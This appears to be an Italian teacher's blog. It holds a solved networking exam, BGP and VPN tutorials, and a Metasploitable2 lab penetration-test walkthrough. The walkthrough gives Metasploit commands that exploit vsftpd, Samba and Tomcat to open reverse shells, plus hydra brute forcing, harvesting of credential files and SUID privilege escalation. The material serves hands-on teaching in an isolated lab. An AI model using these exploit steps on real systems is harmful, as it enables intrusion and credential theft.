domenica 8 febbraio 2026

Soluzione prova Esame di Maturità A.S. 2023/2024 - Sistemi e Reti - Indirizzo: Informatica e Telecomunicazioni

 

PRIMA PARTE

1 Descrizione dell’infrastruttura e piano di indirizzamento

 Situazione iniziale

La Regione ha già una rete in fibra ottica che collega:

  • Enti locali
  • Scuole
  • Strutture sanitarie pubbliche
  • Data center regionale (dove risiede il Fascicolo Sanitario Elettronico – FSE)

La rete usa indirizzi privati della classe 10.0.0.0/8, suddivisi per tipologia di ente tramite subnetting.

Estensione del servizio

Ora si vogliono collegare ~2000 strutture sanitarie private convenzionate
Rete assegnata a questo servizio:

10.100.0.0/16

Questa rete:
serve solo per comunicare con il Data Center regionale
❌ NON dà accesso libero a Internet
ogni struttura deve avere almeno 8 IP

 

Calcolo subnet

Servono:

  • ~2000 strutture
  • minimo 8 IP ciascuna

Una subnet /29 fornisce:

  • 8 indirizzi totali
  • 6 host utilizzabili (troppo pochi ❌)

Una subnet /28 fornisce:

  • 16 indirizzi totali
  • 14 host utilizzabili ✅

Quindi assegniamo una /28 per struttura

Rete base: 10.100.0.0/16
Numero di sottoreti /28 disponibili:

2(28−16)=212=4096sottoreti2^{(28-16)} = 2^{12} = 4096 sottoreti2(28−16)=212=4096sottoreti

Più che sufficienti per 2000 strutture + espansione futura

 

Esempio di assegnazione

Struttura

Subnet assegnata

Gateway (router regionale)

Range host

Clinica A

10.100.0.0/28

10.100.0.1

10.100.0.2 – 10.100.0.14

Clinica B

10.100.0.16/28

10.100.0.17

10.100.0.18 – 10.100.0.30

Clinica C

10.100.0.32/28

10.100.0.33

10.100.0.34

10.100.0.46

Ogni struttura comunica solo col Data Center, non con le altre.

 

Struttura logica della rete

[Struttura Privata]

      

 Router regionale fornito

         (rete 10.100.x.x)

============================  RETE FIBRA REGIONALE  ============================

      

[Firewall Data Center]

      

[Server FSE - Database sanitari]

Segmentazione realizzata tramite:

  • VLAN/MPLS sulla dorsale regionale
  • ACL e firewall per impedire traffico tra strutture diverse

 

 

 

 

 

 

 

2 Dispositivo fornito alle strutture

La Regione fornisce un router/firewall gestito da remoto

Caratteristiche hardware

  • 1 porta WAN in fibra (SFP)
  • 4 porte LAN Gigabit Ethernet
  • Supporto:
    • VLAN
    • VPN IPsec
    • Firewall stateful
    • QoS
    • SNMP per monitoraggio

Esempio dispositivi: Cisco ISR, Mikrotik, Fortigate entry-level

 

Configurazione porte

Porta

Funzione

WAN

Collegamento fibra alla rete regionale

LAN1

Collegamento alla LAN della struttura

LAN2-4

Reti separate (amministrazione, diagnostica, VoIP)

 

Servizi configurati

  • Routing statico verso rete regionale
  • VPN IPsec verso Data Center
  • Firewall
    • Permesso traffico solo verso IP Data Center
    • Blocco traffico verso altre strutture
  • NAT disabilitato (rete privata-regione privata)
  • QoS per priorità ai dati sanitari
  • Syslog remoto verso centro di controllo regionale

 

3 Collegamento con LAN della struttura privata

Ogni struttura ha già una LAN interna.

Situazione tipica

PC medici

Server locali

Apparecchi diagnostici

Stampanti

Switch LAN

Integrazione con rete regionale

Si aggiunge il router regionale collegato allo switch principale.

Possibili miglioramenti:

  • Creazione VLAN dedicata ai sistemi sanitari che devono inviare dati al FSE
  • Separazione tra:
    • rete amministrativa
    • rete sanitaria
    • rete ospiti

Esempio:

VLAN

Uso

VLAN 10

Segreteria

VLAN 20

Dispositivi medici

VLAN 30

Accesso rete regionale

Il router regionale riceve solo il traffico VLAN 30.

 

4 Sicurezza dei dati sanitari

Dati altamente sensibili (GDPR)

Sicurezza in transito

VPN IPsec cifrata
TLS 1.3 per applicazioni
Autenticazione a certificati digitali
Firewall con regole restrittive

 

Sicurezza in archiviazione (Data Center)

  • Crittografia dischi (AES-256)
  • Database cifrati
  • Backup giornalieri
  • Replica geografica
  • Accesso con autenticazione forte e logging

 

Modalità di invio dati al Data Center

Due modalità:

1 Invio in tempo reale

  • Referti digitali
  • Prescrizioni
  • Dati paziente

2 Invio schedulato (notturno)

  • Immagini diagnostiche pesanti (TAC, RM)
  • Video ecografie

Esempio schedulazione:

Trasferimento massivo: 22:00 – 06:00

Così si evita congestione di rete.

 

SECONDA PARTE

Scelgo QUESITO I e QUESITO II

 

Quesito I – Guasti durante trasferimento o archiviazione

Problemi di connessione

Soluzioni:

  • Buffer locale: i dati restano salvati localmente finché la linea non torna
  • Trasferimenti con controllo di integrità (hash SHA-256)
  • Protocollo con resume (es. SFTP/HTTPS con ripresa)
  • Doppia connettività (fibra + 4G/5G di backup)

 

Problemi nei sistemi di archiviazione

  • RAID nei server storage
  • Replica sincrona su secondo Data Center
  • Backup:
    • Giornaliero incrementale
    • Settimanale completo
  • Snapshot frequenti
  • Disaster Recovery testato periodicamente

 

Quesito II – Autenticazione forte per il cittadino

Accesso al Fascicolo Sanitario Elettronico via web.

Autenticazione a più fattori (MFA)

Possibili sistemi:

1 SPID livello 2 o 3

  • Password + OTP

2 CIE (Carta d’Identità Elettronica)

  • Smart card + PIN

3 CNS (Carta Nazionale Servizi)

  • Tessera sanitaria + lettore smart card

4 App con OTP o biometria

  • Notifica push
  • Impronta digitale / Face ID

 

Ulteriori misure

  • Timeout sessione
  • Notifica accessi sospetti
  • Registro accessi consultabile dal cittadino
  • Accesso consentito solo con HTTPS + certificati validi

 

 

 

 

 QUESITO III

Scenario

Una piccola azienda ha:

  • 1 solo IP pubblico statico
  • Un router collegato a Internet
  • Un web server interno (rete LAN privata)

Si vuole rendere il server:

  • accessibile via HTTP (porta 80)
  • accessibile via HTTPS (porta 443)
  • gestibile da remoto via SSH (porta 22)

 

Problema principale

Dalla rete Internet si vede solo l’IP pubblico del router, quindi serve fare:

NAT con Port Forwarding (DNAT)

Il router deve inoltrare le richieste in arrivo verso il server interno.

 

Esempio rete

Dispositivo

IP

Router WAN

93.45.120.10 (IP pubblico)

Router LAN

192.168.1.1

Web Server

192.168.1.100

 

Configurazione necessaria sul router

1 NAT statico / Port Forwarding

Servizio

Porta pubblica

IP destinazione

Porta interna

HTTP

80

192.168.1.100

80

HTTPS

443

192.168.1.100

443

SSH

22 (meglio cambiarla!)

192.168.1.100

22

Per sicurezza si può esporre SSH su una porta diversa, es. 2222 → 22

 

2 Regole Firewall

Bisogna permettere solo il traffico necessario:

Consentire:

  • TCP 80
  • TCP 443
  • TCP 22 (o 2222)

 Bloccare tutto il resto

Esempio comandi (router Cisco-like)

! Definizione NAT

ip nat inside source static tcp 192.168.1.100 80 interface Gig0/0 80

ip nat inside source static tcp 192.168.1.100 443 interface Gig0/0 443

ip nat inside source static tcp 192.168.1.100 22 interface Gig0/0 2222

 

! Interfacce

interface Gig0/0

 ip address 93.45.120.10 255.255.255.248

 ip nat outside

 

interface Gig0/1

 ip address 192.168.1.1 255.255.255.0

 ip nat inside

 

3 DNS

Serve un record DNS pubblico:

www.azienda.it    93.45.120.10

 

Misure di sicurezza consigliate

  • Certificato SSL valido (HTTPS)
  • Disabilitare login SSH con password → usare chiavi
  • Limitare accesso SSH solo a IP specifici (ACL firewall)
  • Aggiornamenti regolari del server

 

 

 

QUESITO IV

Problema

Un utente segnala:
“Non riesco a navigare su Internet”

Il tecnico help-desk deve individuare la causa.

 

Procedura di troubleshooting

Si parte dal basso verso l’alto (modello OSI)

 

Possibile causa 1: Problema locale di rete

Verifiche:

Controllo cavo di rete / Wi-Fi
Icona rete sul PC
Comando:

ipconfig (Windows)

ifconfig / ip a (Linux)

Controllare:

  • IP assegnato?
  • Gateway presente?
  • DNS presente?

Se IP è tipo 169.254.x.x → DHCP non funziona

 

Possibile causa 2: Problema di gateway o router

Test:

ping 192.168.1.1   (gateway)

Se non risponde → problema tra PC e router
Se risponde → passo successivo

Possibile causa 3: Problema di connessione Internet

Test:

ping 8.8.8.8

  • Se NON risponde → router o linea Internet guasta
  • Se risponde → Internet c’è, problema DNS

 

Possibile causa 4: Problema DNS

Test:

ping www.google.com

  • Se 8.8.8.8 funziona ma google no → DNS errato

Soluzione:

  • Verificare server DNS configurato
  • Provare DNS pubblici (8.8.8.8 – 1.1.1.1)

Strumenti utili

Strumento

Scopo

ipconfig / ifconfig

Configurazione IP

ping

Test connettività

tracert / traceroute

Dove si ferma il traffico

nslookup

Test risoluzione DNS

Browser

Verifica proxy o errori SSL

 

Metodo riassunto

1 Controllo collegamento fisico
2 Verifica IP e gateway
3 Ping al router
4 Ping a IP Internet
5 Test DNS

Così si isolano rapidamente almeno tre cause possibili:

  • Problema LAN
  • Problema router/linea
  • Problema DNS




mercoledì 5 novembre 2025

Penetration Test Metasploitable 2


 

AVVISO LEGALE

Metasploitable2 deve essere usato solo in ambienti di laboratorio, su reti isolate e personali. È una macchina vulnerabile per uso didattico. Usarla su reti pubbliche o di produzione è illegale.


Requisiti

  • Una macchina con Kali Linux o simile (con Metasploit Framework)

  • Metasploitable2 installata su una VM (es. VirtualBox o VMware)

  • Rete impostata in modalità host-only o NAT con accesso interno


Ricognizione (Scanning)

Scopri l’indirizzo IP della macchina target:

netdiscover -r 192.168.56.0/24

Oppure:

arp-scan --localnet

Scansione delle porte:

nmap -sS -sV -O 192.168.56.X

Analizza i servizi attivi. Metasploitable2 espone molte porte vulnerabili, tra cui:

  • FTP (21)

  • SSH (22)

  • Telnet (23)

  • HTTP (80, 8180)

  • Samba (445)

  • MySQL (3306)

  • Tomcat (8180)

  • e tanti altri


Analisi delle vulnerabilità

Puoi usare Nmap con script NSE:

nmap -sV --script=vuln 192.168.56.X

Oppure uno scanner come Nikto per HTTP:

nikto -h http://192.168.56.X

Sfruttamento (Exploitation)

Esempio: vsftpd 2.3.4 Backdoor (porta 21)

msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOST 192.168.56.X run

Esempio: Samba Remote Code Execution (porta 445)

use exploit/multi/samba/usermap_script set RHOST 192.168.56.X set PAYLOAD cmd/unix/reverse set LHOST <tuo IP> run

Post-Exploitation

Dopo aver ottenuto l’accesso:

  • Escalation dei privilegi

  • Raccolta di credenziali (/etc/passwd, history, shadow, etc.)

  • Accesso ad altri servizi (pivoting)


Report

Documenta ogni fase:

  • Comandi usati

  • Servizi vulnerabili trovati

  • Exploit usati

  • Accessi ottenuti



Ora vediamo un test completo!

Scopri l’indirizzo IP di Metasploitable2

netdiscover -r 192.168.56.0/24

oppure:

nmap -sn 192.168.56.0/24

Supponiamo l'IP della vittima sia 192.168.56.101.


Conferma che Samba è attivo

nmap -p 139,445 -sV 192.168.56.101

Output atteso:

PORT STATE SERVICE VERSION 445/tcp open netbios-ssn Samba smbd 3.x (workgroup: WORKGROUP)

Attacco con Metasploit

Avvia Metasploit:

msfconsole

Carica l'exploit:

use exploit/multi/samba/usermap_script

Imposta i parametri:

set RHOSTS 192.168.56.101 set PAYLOAD cmd/unix/reverse set LHOST 192.168.56.1 # ← cambia con l'IP della tua macchina Kali

Controlla che tutto sia impostato:

show options

Avvia l’exploit:

run

Shell ottenuta!

Se tutto è andato bene, vedrai una shell remota tipo questa:

[*] Command shell session 1 opened

Puoi ora eseguire comandi sulla macchina Metasploitable2, es.:

uname -a id whoami

Pulizia e report

  • Prendi nota dei comandi eseguiti

  • Salva l’output per il tuo report

  • Esci dalla sessione con exit


Vediamo come sfruttare Apache Tomcat su Metasploitable2

Verifica Tomcat attivo

nmap -p 8180 --script http-title 192.168.56.101

Oppure:
Apri il browser:
👉 http://192.168.56.101:8180

Dovresti vedere una schermata di Tomcat.


Trovare le credenziali di default

Metasploitable2 ha spesso queste credenziali predefinite per Tomcat Manager:

Username: tomcat Password: tomcat

Puoi confermarlo con:

hydra -l tomcat -P /usr/share/wordlists/rockyou.txt 192.168.56.101 http-get /manager/html

Exploit con Metasploit

Avvia Metasploit

msfconsole

Carica l’exploit:

use exploit/multi/http/tomcat_mgr_upload

Imposta i parametri:

set RHOSTS 192.168.56.101 set RPORT 8180 set HTTPUSERNAME tomcat set HTTPPASSWORD tomcat set TARGETURI /manager/html set PAYLOAD java/shell_reverse_tcp set LHOST 192.168.56.1 # ← IP della tua Kali

Controlla:

show options

Esegui l’exploit:

run

Shell ottenuta!

Se tutto funziona, otterrai una shell di tipo:

[*] Command shell session X opened

Esegui comandi per verificarlo:

whoami uname -a

Post Exploitation

Una volta dentro:

  • Esplora i file (cd, ls, cat)

  • Cerca credenziali (find / -name *.properties, cat /etc/passwd)

  • Puoi usare meterpreter se vuoi un’interfaccia più avanzata

Per eseguire un'escalation dei privilegi su Metasploitable2 dopo aver ottenuto l'accesso tramite Apache Tomcat (porta 8180), puoi sfruttare una vulnerabilità nei binaries con SUID.

Identifica i binari con SUID

Dopo aver ottenuto una shell sul sistema, cerca i file con il bit SUID impostato:

find / -perm -4000 -type f 2>/dev/null

Questi file possono essere utilizzati per ottenere privilegi elevati.


Sfrutta un binario vulnerabile

Supponiamo di trovare un binario vulnerabile come nmap con SUID impostato. Puoi tentare di eseguire un attacco di privilege escalation:

nmap --interactive

Una volta dentro l'interfaccia interattiva di nmap, prova a eseguire comandi come:

!sh

Questo comando tenta di avviare una shell con privilegi elevati.


Nota

L'efficacia di questa tecnica dipende dalla configurazione specifica del sistema e dalla presenza di binari vulnerabili. Se questa tecnica non funziona, potrebbero esserci altre vulnerabilità locali da esplorare.



martedì 4 novembre 2025

Configurazione del protocollo BGP su Cisco Packet Tracer


Ecco una configurazione di base di BGP su Cisco Packet Tracer tra due router.

Scenario:

  • Due router: R1 e R2

  • AS (Autonomous System) di R1: 65001

  • AS di R2: 65002

  • Interfacce collegate tra i router:

    • R1GigabitEthernet0/0192.168.12.1/30

    • R2GigabitEthernet0/0192.168.12.2/30


Configurazione di R1

enable configure terminal ! Configura l'interfaccia interface GigabitEthernet0/0 ip address 192.168.12.1 255.255.255.252 no shutdown exit ! Configura BGP router bgp 65001 neighbor 192.168.12.2 remote-as 65002 exit

Configurazione di R2

enable configure terminal ! Configura l'interfaccia interface GigabitEthernet0/0 ip address 192.168.12.2 255.255.255.252 no shutdown exit ! Configura BGP router bgp 65002 neighbor 192.168.12.1 remote-as 65001 exit

Verifica della Configurazione

Dopo aver configurato i router, usa questi comandi per verificare il funzionamento:

  1. Verificare lo stato della sessione BGP

    show ip bgp summary
    • Se tutto è corretto, lo stato della connessione con il vicino dovrebbe essere "Established".

  2. Verificare la tabella BGP

    show ip bgp
  3. Testare la connettività tra i router

    ping 192.168.12.2

lunedì 3 novembre 2025

Cos'è una VPN?


 

 Cos’è una VPN?

VPN sta per Virtual Private Network, ovvero Rete Privata Virtuale.

In parole semplici, una VPN è un tunnel sicuro che protegge i tuoi dati mentre navighi su Internet. Immagina di inviare le tue informazioni attraverso un corridoio segreto, così che nessun altro possa vedere cosa stai facendo online.


A cosa serve una VPN?

Privacy: Nasconde il tuo indirizzo IP reale, quindi il tuo dispositivo è più difficile da tracciare.
Sicurezza: Cripta (cioè codifica) i tuoi dati, specialmente su reti pubbliche (es. Wi-Fi di bar, hotel, aeroporti).
Accesso a contenuti bloccati: Ti permette di simulare di essere in un altro paese per accedere a contenuti non disponibili nella tua zona (es. Netflix USA, siti bloccati).
Lavoro da remoto: Aziende la usano per collegare i dipendenti alla rete aziendale in modo sicuro da qualsiasi parte del mondo.


Come funziona tecnicamente (semplificato)

Quando attivi una VPN:

  1. Il tuo dispositivo si connette a un server VPN (situato in un altro paese o città).

  2. Il traffico Internet viene criptato e inviato attraverso questo server.

  3. Per il sito web che stai visitando, sembra che tu stia accedendo da quel server VPN, non dal tuo vero indirizzo IP.

[Immagina uno schema con: TU → VPN → INTERNET]


Tipi di VPN

  • VPN personali: usate da utenti privati per navigare sicuri e accedere a contenuti geo-limitati.

  • VPN aziendali: per connettere sedi o lavoratori remoti alla rete interna aziendale.

  • VPN gratuite vs. a pagamento:

    • Le gratuite possono essere lente o non molto sicure.

    • Le VPN a pagamento offrono più server, maggiore velocità, e una migliore protezione.


Esempi pratici

  • Ti connetti al Wi-Fi di un bar → Attivi la VPN → I tuoi dati sono protetti da hacker.

  • Vuoi vedere una serie TV disponibile solo negli USA → Ti colleghi a un server VPN americano → Puoi accedere come se fossi lì.


Pro e contro

Vantaggi

  • Maggiore privacy

  • Protezione su reti pubbliche

  • Accesso a contenuti globali

Svantaggi

  • Può rallentare la connessione

  • Alcuni servizi (tipo Netflix) provano a bloccare le VPN

  • Le VPN gratuite possono vendere i tuoi dati


Conclusione

Una VPN è uno strumento potente e utile per proteggere la tua privacy online, migliorare la sicurezza, e accedere a contenuti senza restrizioni geografiche. Come ogni strumento, va usata con consapevolezza, scegliendo provider affidabili.

 

Schema visuale: Come funziona una VPN

Immagina questo flusso senza VPN:

TU 🧑‍💻 → Internet 🌐 (IP visibile, dati non criptati)

E adesso con una VPN attiva:

TU 🧑‍💻 ↓ (dati criptati 🔐) SERVER VPN 🌍 (es. USA, Germania, UK) ↓ Internet 🌐 (Il sito vede l’IP del server VPN, non il tuo)

Risultato:

  • Nessuno può leggere i tuoi dati facilmente.

  • Il sito che visiti pensa che tu sia nel paese del server VPN.

  • Sei più sicuro e libero online.


Alcuni provider VPN affidabili (2025)

Top VPN (affidabili, veloci, con buone recensioni):

NomePro principaliPrezzo medio
NordVPNMolto veloce, tanti server, ottima privacy~3€/mese
ExpressVPNSuper semplice, molto sicura, ottimo supporto~6€/mese
SurfsharkEconomica, dispositivi illimitati~2€/mese
ProtonVPNOttima versione gratuita, forte su privacyGRATIS / a pagamento

Quando usarla (consigli pratici)

SituazioneVPN consigliata?
Wi-Fi pubblico in aeroporto/bar✅ Obbligatoria
Vuoi accedere a Netflix USA✅ Utile
Navigare in paesi con censura web✅ Essenziale
Scaricare torrent in sicurezza✅ Consigliata
Solo per navigazione normale da casa🤷‍♂️ Facoltativa                                     

 

Cosa serve per la massima privacy?

Quando parliamo di privacy seria, ci sono 5 caratteristiche fondamentali da tenere d’occhio:

  1. No-log policy: la VPN non deve salvare nulla della tua attività online.

  2. Sede in Paesi “amici della privacy” (fuori da USA/UK, ecc. – meglio Svizzera, Panama, ecc.).

  3. Criptazione avanzata (es. AES-256).

  4. Kill switch: blocca internet se la VPN cade, per non esporre i dati nemmeno per un secondo.

  5. DNS leak protection: evita che richieste DNS escano fuori dalla VPN.


Le migliori VPN per la privacy (2025)

1. ProtonVPN

🇨🇭 Svizzera – Paese top per la privacy
✅ No-log auditato
✅ Forte attenzione alla privacy (sviluppata dal team del CERN)
✅ Versione gratuita ottima
💶 Versione a pagamento con più funzionalità

Perfetta se vuoi sicurezza senza compromessi.


2. Mullvad

🇸🇪 Svezia – Altro paese attento alla privacy
✅ Non chiede nemmeno l’email per registrarti
✅ Pagamento anche in contanti o crypto
✅ Interfaccia essenziale ma solida
❌ Meno server rispetto a Nord/Express

Adatta a chi vuole restare completamente anonimo.


3. IVPN

🇬🇮 Gibilterra (fuori dai 14 Eyes)
✅ No-log, auditata
✅ Accetta pagamenti in contanti
✅ Interfaccia semplice
❌ Un po’ più costosa

Ottima per utenti avanzati e coscienti della propria sicurezza.


Consiglio personalizzato

Se vuoi molta privacy, ma senza complicarti la vita:

👉 ProtonVPN è la scelta giusta: è user-friendly, auditata, svizzera e offre un ottimo equilibrio tra privacy, sicurezza e semplicità.

Se invece vuoi massima paranoia mode on, tipo “nessuna email, nessuna traccia”:

👉 Mullvad è il re. Pochi fronzoli, molta sostanza.

 

Come installare e configurare ProtonVPN (Windows/macOS)

Fase 1: Creazione account

  1. Vai su https://protonvpn.com

  2. Clicca su "Get ProtonVPN"

  3. Puoi iniziare con:

    • Versione gratuita (ottima per navigare in sicurezza)

    • Oppure piano a pagamento se vuoi velocità e più paesi

  4. Inserisci una email anonima (opzionale, ma consigliato per privacy)


Fase 2: Download del client VPN

  1. Dopo la registrazione, accedi al tuo account su ProtonVPN

  2. Vai su Download

  3. Scarica la versione per il tuo sistema:

    • Windows

    • macOS

    • Linux

    • iOS/Android

  4. Installa come qualsiasi app (doppio clic → "Avanti" → "Installa")


Fase 3: Configurazione iniziale

  1. Apri l’app e accedi con le tue credenziali

  2. Nella home vedrai una mappa con i server e una lista di paesi

Consigli privacy:

  • Vai in Impostazioni ⚙️

    • ✅ Attiva Kill Switch

    • ✅ Attiva Always-on VPN

    • ✅ Attiva Secure Core (se disponibile nel tuo piano)

    • ✅ Attiva Protezione da DNS leak


Fase 4: Connessione

  1. Scegli un server (es. Svizzera, Islanda o Svezia = buoni per privacy)

  2. Clicca su Connetti

  3. Una volta connesso, vedrai:

    • Un lucchetto verde

    • Il nuovo IP

    • La posizione virtuale

Fatto! Ora tutto il traffico del tuo dispositivo è protetto da occhi indiscreti.


Installazione su smartphone (Android/iOS)

  1. Vai su App Store / Google Play

  2. Cerca “ProtonVPN”

  3. Scarica e installa

  4. Accedi con lo stesso account

  5. Tocca “Connetti” o scegli un paese

  6. Consiglio: attiva “Connessione automatica” e “Kill switch” dalle impostazioni


Verifica se funziona

  1. Vai su https://whatismyipaddress.com

  2. Controlla se l’IP è cambiato

  3. Il tuo IP dovrebbe ora mostrare la posizione del server VPN (es. Islanda)

 

giovedì 1 giugno 2023

Reverse Shell TCP Attack Metod

In questo video si vede come si tenta l'attacco per rubare utente e password.
La metodologia prevede una combinazione di attacchi misti, con Phising combinato a Social Engineering Attack.
Nel video non sarà spiegato come generare il link per l'attacco formale, ma si vedrà tutto all'interno della rete LAN locale.

Iscriviti al canale Youtube:
https://www.youtube.com/channel/UC0eL65muMFARGXQua39LdMg

Segui il mio Blog:
https://profpellegrinogiovanni.blogspot.com/

domenica 7 maggio 2023

Configurazione rete aziendale con Rip v2, DHCP on Router, VLAN, Password...

In questa rete aziendale si può vedere la configurazione del protocollo di routing dinamico Rip v.2, Vlan, DHCP sui router nei tre sottodomini, la password di accesso, crittografata, sul router.

 

 

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